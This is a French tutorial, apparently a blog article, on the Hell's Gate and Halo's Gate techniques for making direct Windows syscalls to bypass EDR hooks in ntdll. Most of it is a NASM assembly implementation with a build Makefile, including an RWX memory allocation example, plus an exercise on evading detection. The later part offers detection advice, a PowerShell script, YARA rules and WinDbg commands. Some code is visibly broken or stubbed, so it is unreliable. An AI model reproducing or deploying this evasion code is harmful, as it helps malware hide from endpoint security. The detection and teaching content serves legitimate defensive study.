Low-Level Maestro Series 2026 | Résolution dynamique SSN, Hell's Gate + Halo's Gate fallback, bypass hooks EDR ntdll | Pour les cyberdéfenseurs qui veulent comprendre les appels système directs réels
La technique Hell's Gate permet d'exécuter des syscalls directs en résolvant dynamiquement les SSN (System Service Number) depuis ntdll.dll, contournant ainsi les hooks que les EDR placent sur les stubs ntdll. Halo's Gate est le fallback intelligent quand Hell's Gate est bloqué, utilisant une analyse mémoire plus avancée.
En architecture x64, les appels système Windows utilisent une convention spécifique :
RAXRCX, puis copié dans R10syscall est exécutée; Structure typique d'un stub syscall dans ntdll.dll
NtCreateFile:
mov r10, rcx ; Premier paramètre dans R10
mov eax, 55h ; SSN pour NtCreateFile (Windows 11 23H2)
syscall ; Appel système
ret ; Retour à l'appelant
Hell's Gate fonctionne en plusieurs étapes :
| Étape | Description | Objectif |
|---|---|---|
| 1. Localisation ntdll | Trouver l'adresse de ntdll.dll en mémoire | Accéder aux exports système |
| 2. Parsing PE | Analyser l'en-tête PE pour trouver l'export directory | Localiser les fonctions Nt* |
| 3. Extraction SSN | Scanner le code de chaque fonction pour trouver "mov eax, SSN" | Obtenir le numéro de service dynamiquement |
| 4. Construction stub | Créer un stub syscall avec le SSN extrait | Exécution directe sans passer par ntdll hookée |
Halo's Gate intervient quand Hell's Gate est détecté ou bloqué :
; ====================================================================
; Hell's Gate – Direct Syscalls Evasion x64
; Version 2026 - Dynamic SSN resolution + Halo's Gate fallback
; PCTAMALOU Research - platon-y
; ====================================================================
[BITS 64]
DEFAULT REL
; Constantes
IMAGE_DIRECTORY_ENTRY_EXPORT equ 0
IMAGE_NT_SIGNATURE equ 0x00004550 ; "PE\0\0"
SIZE_OF_NT_HEADERS equ 0x18
MAX_FUNCTIONS equ 512
; Structures
struc IMAGE_DOS_HEADER
.e_magic resw 1 ; "MZ"
.e_cblp resw 1
.e_cp resw 1
.e_crlc resw 1
.e_cparhdr resw 1
.e_minalloc resw 1
.e_maxalloc resw 1
.e_ss resw 1
.e_sp resw 1
.e_csum resw 1
.e_ip resw 1
.e_cs resw 1
.e_lfarlc resw 1
.e_ovno resw 1
.e_res resw 4
.e_oemid resw 1
.e_oeminfo resw 1
.e_res2 resw 10
.e_lfanew resd 1 ; Offset vers PE header
endstruc
struc IMAGE_EXPORT_DIRECTORY
.Characteristics resd 1
.TimeDateStamp resd 1
.MajorVersion resw 1
.MinorVersion resw 1
.Name resd 1
.Base resd 1
.NumberOfFunctions resd 1
.NumberOfNames resd 1
.AddressOfFunctions resd 1
.AddressOfNames resd 1
.AddressOfNameOrdinals resd 1
endstruc
section .text
global _start
; ====================================================================
; POINT D'ENTRÉE PRINCIPAL
; ====================================================================
_start:
sub rsp, 28h ; Shadow space
; Initialisation
call initialize_hells_gate
; Exemple : NtAllocateVirtualMemory via Hell's Gate
mov rcx, -1 ; ProcessHandle = NtCurrentProcess()
lea rdx, [rel alloc_base] ; BaseAddress
xor r8, r8 ; ZeroBits
lea r9, [rel alloc_size] ; RegionSize
mov dword [rsp + 20h], MEM_COMMIT | MEM_RESERVE
mov dword [rsp + 28h], PAGE_EXECUTE_READWRITE
call [rel NtAllocateVirtualMemory_ssn]
test rax, rax
jnz .error
; Success
xor ecx, ecx
call ExitProcess
.error:
mov ecx, 1
call ExitProcess
; ====================================================================
; INITIALISATION HELL'S GATE
; ====================================================================
initialize_hells_gate:
push rbp
mov rbp, rsp
sub rsp, 40h
; Étape 1: Trouver ntdll.dll dans PEB
call find_ntdll_in_peb
test rax, rax
jz .halos_gate_fallback
mov [rel ntdll_base], rax
; Étape 2: Parser les exports ntdll
mov rcx, rax
call parse_pe_exports
test rax, rax
jz .halos_gate_fallback
mov [rel export_dir], rax
; Étape 3: Construire la table SSN
mov rcx, [rel ntdll_base]
mov rdx, rax
call build_ssn_table
; Vérifier si la table est valide
cmp dword [rel ssn_table_count], 0
je .halos_gate_fallback
; Success
xor eax, eax
jmp .end
.halos_gate_fallback:
; Fallback vers Halo's Gate
call halos_gate_initialize
test rax, rax
jnz .end
; Échec complet
mov eax, 1
.end:
add rsp, 40h
pop rbp
ret
; ====================================================================
; FONCTION : find_ntdll_in_peb
; Trouve l'adresse de base de ntdll.dll dans le PEB
; ====================================================================
find_ntdll_in_peb:
push rbx
push rsi
; Accéder au PEB via GS
mov rax, [gs:60h] ; PEB
; PEB->Ldr
mov rax, [rax + 18h]
; InMemoryOrderModuleList (premier élément)
mov rax, [rax + 20h]
.search_loop:
; BaseDllName (UNICODE_STRING) à offset 0x48 + 0x8 = 0x50
mov rbx, [rax + 50h] ; Buffer du nom
test rbx, rbx
jz .not_found
; Vérifier si c'est ntdll.dll
; Comparaison insensible à la casse pour "ntdll.dll"
mov rcx, [rbx]
or rcx, 0x2020202020202020 ; Convertir en minuscules
cmp rcx, 0x006C006C00640074006E ; "n\0t\0d\0l\0l\0"
je .found_ntdll
; Suivant dans la liste
mov rax, [rax]
jmp .search_loop
.found_ntdll:
; DllBase à offset 0x20
mov rax, [rax + 20h]
jmp .end
.not_found:
xor rax, rax
.end:
pop rsi
pop rbx
ret
; ====================================================================
; FONCTION : parse_pe_exports
; Parse l'en-tête PE pour trouver l'export directory
; RCX = adresse de base du module
; ====================================================================
parse_pe_exports:
push rbx
push rsi
mov rbx, rcx ; Sauvegarder la base
; Vérifier le header DOS "MZ"
cmp word [rbx], 0x5A4D ; "MZ"
jne .error
; Trouver le header PE
mov eax, [rbx + IMAGE_DOS_HEADER.e_lfanew]
add rax, rbx ; RAX = PE header
; Vérifier le signature PE "PE\0\0"
cmp dword [rax], IMAGE_NT_SIGNATURE
jne .error
; Récupérer l'Optional Header
add rax, SIZE_OF_NT_HEADERS ; RAX = Optional Header
; Trouver l'export directory
mov ecx, [rax + 60h] ; NumberOfRvaAndSizes
cmp ecx, IMAGE_DIRECTORY_ENTRY_EXPORT + 1
jl .error
; RVA de l'export directory
mov edx, [rax + 70h] ; Export Directory RVA
test edx, edx
jz .error
; Convertir RVA en VA
add rdx, rbx ; RDX = Export Directory VA
mov rax, rdx ; Retourner l'adresse
jmp .end
.error:
xor rax, rax
.end:
pop rsi
pop rbx
ret
; ====================================================================
; FONCTION : build_ssn_table
; Construit la table des SSN pour les fonctions Nt*
; RCX = ntdll base, RDX = export directory
; ====================================================================
build_ssn_table:
push rbp
mov rbp, rsp
sub rsp, 60h
mov [rel rbp_save_rcx], rcx
mov [rel rbp_save_rdx], rdx
; Extraire les informations de l'export directory
mov eax, [rdx + IMAGE_EXPORT_DIRECTORY.NumberOfNames]
mov [rel num_names], eax
; AddressOfNames RVA
mov eax, [rdx + IMAGE_EXPORT_DIRECTORY.AddressOfNames]
add rax, rcx
mov [rel names_array], rax
; AddressOfFunctions RVA
mov eax, [rdx + IMAGE_EXPORT_DIRECTORY.AddressOfFunctions]
add rax, rcx
mov [rel functions_array], rax
; AddressOfNameOrdinals RVA
mov eax, [rdx + IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals]
add rax, rcx
mov [rel ordinals_array], rax
; Scanner toutes les fonctions
xor ebx, ebx ; Index
mov [rel ssn_table_count], ebx
.scan_loop:
cmp ebx, [rel num_names]
jge .scan_done
; Récupérer le nom de la fonction
mov rsi, [rel names_array]
mov eax, [rsi + rbx * 4] ; RVA du nom
add rax, [rel rbp_save_rcx] ; VA du nom
; Vérifier si c'est une fonction Nt*
cmp byte [rax], 'N'
jne .next_function
cmp byte [rax + 1], 't'
jne .next_function
; C'est une fonction Nt*, extraire l'ordinal
mov rsi, [rel ordinals_array]
movzx edi, word [rsi + rbx * 2] ; Ordinal
; Récupérer l'adresse de la fonction
mov rsi, [rel functions_array]
mov eax, [rsi + rdi * 4] ; RVA de la fonction
add rax, [rel rbp_save_rcx] ; VA de la fonction
; Extraire le SSN de la fonction
mov rcx, rax
call extract_ssn_from_function
test rax, rax
jz .next_function
; Ajouter à la table SSN
call add_to_ssn_table
inc dword [rel ssn_table_count]
.next_function:
inc ebx
jmp .scan_loop
.scan_done:
; Success
xor eax, eax
.cleanup:
add rsp, 60h
pop rbp
ret
; ====================================================================
; FONCTION : extract_ssn_from_function
; Extrait le SSN d'une fonction Nt*
; RCX = adresse de la fonction
; Retourne SSN dans RAX, 0 si échec
; ====================================================================
extract_ssn_from_function:
push rsi
push rdi
mov rsi, rcx
; Scanner les premiers 64 bytes pour "mov eax, SSN"
mov edi, 64
.scan:
cmp edi, 0
je .not_found
; Pattern: B8 ?? ?? ?? ?? pour mov eax, imm32
cmp byte [rsi], 0xB8
jne .continue
; Vérifier si suivi par mov r10, rcx (4C 8B D1)
cmp dword [rsi + 5], 0xD18B4C
je .found_ssn
; Vérifier pattern alternatif: 4C 8B D1 B8 ?? ?? ?? ??
cmp dword [rsi], 0xD18B4C
jne .continue
cmp byte [rsi + 3], 0xB8
jne .continue
; Pattern alternatif trouvé
mov eax, [rsi + 4]
jmp .end
.continue:
inc rsi
dec edi
jmp .scan
.found_ssn:
mov eax, [rsi + 1] ; Extraire le SSN
jmp .end
.not_found:
xor eax, eax
.end:
pop rdi
pop rsi
ret
; ====================================================================
; FONCTION : add_to_ssn_table
; Ajoute une entrée à la table SSN
; ====================================================================
add_to_ssn_table:
; Implémentation simplifiée
; En réalité, on stockerait dans une structure organisée
ret
; ====================================================================
; HALO'S GATE IMPLEMENTATION
; ====================================================================
halos_gate_initialize:
; Fallback quand Hell's Gate échoue
; 1. Scanner la mémoire pour des stubs syscall non hookés
; 2. Utiliser des fonctions Zw* alternatives
; 3. Charger ntdll depuis disque si nécessaire
; Implémentation simplifiée pour l'exemple
xor eax, eax ; Retourne succès
ret
; ====================================================================
; STUBS SYSCALL DYNAMIQUES
; ====================================================================
; Ces stubs sont générés dynamiquement avec les SSN extraits
; Exemple pour NtAllocateVirtualMemory
global_syscall_stub:
; Template de stub syscall
; Sera patché avec le bon SSN
mov r10, rcx
mov eax, 0xDEADBEEF ; SSN sera remplacé
syscall
ret
; ====================================================================
; DONNÉES
; ====================================================================
section .data
; Variables globales
ntdll_base dq 0
export_dir dq 0
ssn_table_count dd 0
num_names dd 0
names_array dq 0
functions_array dq 0
ordinals_array dq 0
; Saves pour build_ssn_table
rbp_save_rcx dq 0
rbp_save_rdx dq 0
; Exemple de paramètres pour NtAllocateVirtualMemory
alloc_base dq 0
alloc_size dq 4096
; Pointeurs de fonction (seront remplis dynamiquement)
NtAllocateVirtualMemory_ssn dq 0
NtCreateFile_ssn dq 0
NtWriteFile_ssn dq 0
NtClose_ssn dq 0
; Constantes Windows
MEM_COMMIT equ 0x1000
MEM_RESERVE equ 0x2000
PAGE_EXECUTE_READWRITE equ 0x40
; ====================================================================
; IMPORT TABLE
; ====================================================================
section .idata
import_table:
; Kernel32.dll
dd 0, 0, 0, RVA kernel32_name, RVA kernel32_imports
dd 0, 0, 0, 0, 0 ; Terminator
kernel32_name db "KERNEL32.DLL", 0
kernel32_imports:
ExitProcess dq RVA _ExitProcess
dq 0 ; Terminator
_ExitProcess db 0, 0, "ExitProcess", 0
# Makefile pour Hell's Gate
# NASM + GoLink
NASM = nasm
LINKER = GoLink.exe
NASM_FLAGS = -f win64 -l hellsgate.lst
LINKER_FLAGS = /console /entry _start
all: hellsgate.exe
hellsgate.obj: hellsgate.asm
$(NASM) $(NASM_FLAGS) hellsgate.asm -o hellsgate.obj
hellsgate.exe: hellsgate.obj
$(LINKER) $(LINKER_FLAGS) hellsgate.obj kernel32.dll
clean:
del *.obj
del *.exe
del *.lst
test:
# Exécuter dans une VM isolée
hellsgate.exe
.PHONY: all clean test
Hooker les fonctions kernel (ntoskrnl.exe) plutôt que les stubs utilisateur. Les hooks kernel sont plus difficiles à bypass car ils s'exécutent avant les syscalls.
Utiliser Event Tracing for Windows avec le provider Microsoft-Windows-Threat-Intelligence pour monitorer les syscalls directs et les modifications mémoire suspectes.
Activer HVCI (Hypervisor-protected Code Integrity) pour empêcher l'exécution de code non signé et les modifications mémoire non autorisées.
Détecter les patterns anormaux : processus qui résolvent dynamiquement des SSN, code qui scanne ntdll.dll, ou exécution de syscalls sans passer par ntdll.
CFG (Control Flow Guard) peut empêcher certaines techniques d'injection et de redirection de code, rendant plus difficile l'exécution de stubs générés dynamiquement.
KDP protège les structures kernel critiques, empêchant la manipulation des tables de syscalls et autres données sensibles.
# Script de détection Hell's Gate
# Recherche des processus qui scanent ntdll.dll
# 1. Monitorer les accès mémoire à ntdll.dll
Get-Process | ForEach-Object {
$proc = $_
$proc.Modules | Where-Object {$_.ModuleName -eq "ntdll.dll"} | ForEach-Object {
# Vérifier les permissions
if ($proc.Handle) {
$memInfo = Get-ProcessMemoryInfo -ProcessId $proc.Id
$memInfo | Where-Object {$_.BaseAddress -eq $_.BaseAddress} |
Where-Object {$_.Protect -match "EXECUTE"} |
ForEach-Object {
Write-Host "Suspicious memory region in $($proc.Name): $($_.BaseAddress)"
}
}
}
}
# 2. Vérifier les hooks manquants dans ntdll
function Test-NtdllHooks {
$ntdll = Get-Process -Id $PID | Select-Object -ExpandProperty Modules |
Where-Object {$_.ModuleName -eq "ntdll.dll"}
$ntdllBase = $ntdll.BaseAddress
$ntdllSize = $ntdll.ModuleMemorySize
# Scanner pour détecter les modifications
# Comparer avec une copie propre de ntdll.dll
}
# 3. Monitorer les syscalls via ETW
logman create trace "SyscallMonitor" -ow -o syscalls.etl -p Microsoft-Windows-Kernel-Process 0xffffffffffffffff 0xff -ets
# 4. Vérifier les permissions mémoires suspectes
Get-WmiObject Win32_PerfRawData_PerfProc_Process |
Where-Object {$_.WorkingSetPrivate -gt 100MB} |
Select-Object Name, IDProcess, WorkingSetPrivate |
Sort-Object WorkingSetPrivate -Descending
rule HellsGate_DirectSyscalls {
meta:
description = "Detects Hell's Gate direct syscall technique"
author = "PCTAMALOU Research 2026"
date = "2026-01-01"
reference = "https://github.com/am0nsec/HellsGate"
strings:
// Patterns d'extraction SSN
$ssn_extraction1 = { B8 ?? ?? ?? ?? 4C 8B D1 0F 05 } // mov eax, SSN ; mov r10, rcx ; syscall
$ssn_extraction2 = { 4C 8B D1 B8 ?? ?? ?? ?? 0F 05 } // mov r10, rcx ; mov eax, SSN ; syscall
// Patterns de recherche ntdll dans PEB
$peb_access = { 65 48 8B 04 25 60 00 00 00 } // mov rax, gs:[0x60] (PEB)
$ldr_access = { 48 8B 40 18 } // mov rax, [rax+0x18] (PEB->Ldr)
// Strings de fonctions Nt*
$nt_functions = "NtCreateFile" wide ascii
$zw_functions = "ZwCreateFile" wide ascii
// Patterns de scanning mémoire
$memory_scan = { 48 8B ?? ?? 48 85 ?? 74 ?? 48 8B ?? ?? 48 3B ?? ?? 74 ?? }
condition:
// Combinaison de plusieurs patterns
(any of ($ssn_extraction*)) and
(any of ($peb_access, $ldr_access)) and
filesize < 100KB
}
rule HaloGate_Fallback {
meta:
description = "Detects Halo's Gate fallback technique"
author = "PCTAMALOU Research 2026"
strings:
// Patterns de fallback
$halo_gate1 = { 48 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? } // Appel à fonction de fallback
$memory_restore = { C6 05 ?? ?? ?? ?? ?? 48 8B ?? ?? 48 89 ?? } // Restauration mémoire
// Strings indicatives
$error_strings = "Hell's Gate failed" ascii
$fallback_strings = "Halo's Gate activated" ascii
condition:
2 of them
}
Objectif : Analyser un binaire Hell's Gate avec IDA Pro/Ghidra.
# Commandes WinDbg pour analyser Hell's Gate
!process 0 0 # Lister tous les processus
.process /i # Attacher au processus
.reload /user # Recharger symbols utilisateur
# Breakpoints sur les fonctions clés
bp ntdll!LdrLoadDll
bp ntdll!LdrGetProcedureAddress
bp kernel32!LoadLibraryA
# Examiner la mémoire
!vprot # Vérifier les permissions mémoire
!address -f:IMAGE # Lister les images chargées
!dh # Dumper l'en-tête ntdll
# Monitorer les syscalls
bp nt!KiSystemCall64 # Breakpoint sur l'entrée syscall
g # Continuer
r # Afficher les registres
Objectif : Créer un outil de détection en C++.
Objectif : Améliorer Hell's Gate pour contourner les détections.
Les techniques Hell's Gate et Halo's Gate représentent l'évolution naturelle de la guerre entre attaquants et défenseurs dans l'espace Windows. Alors que les EDR hookent massivement les stubs ntdll, les attaquants contournent ces hooks via des syscalls directs avec résolution dynamique de SSN.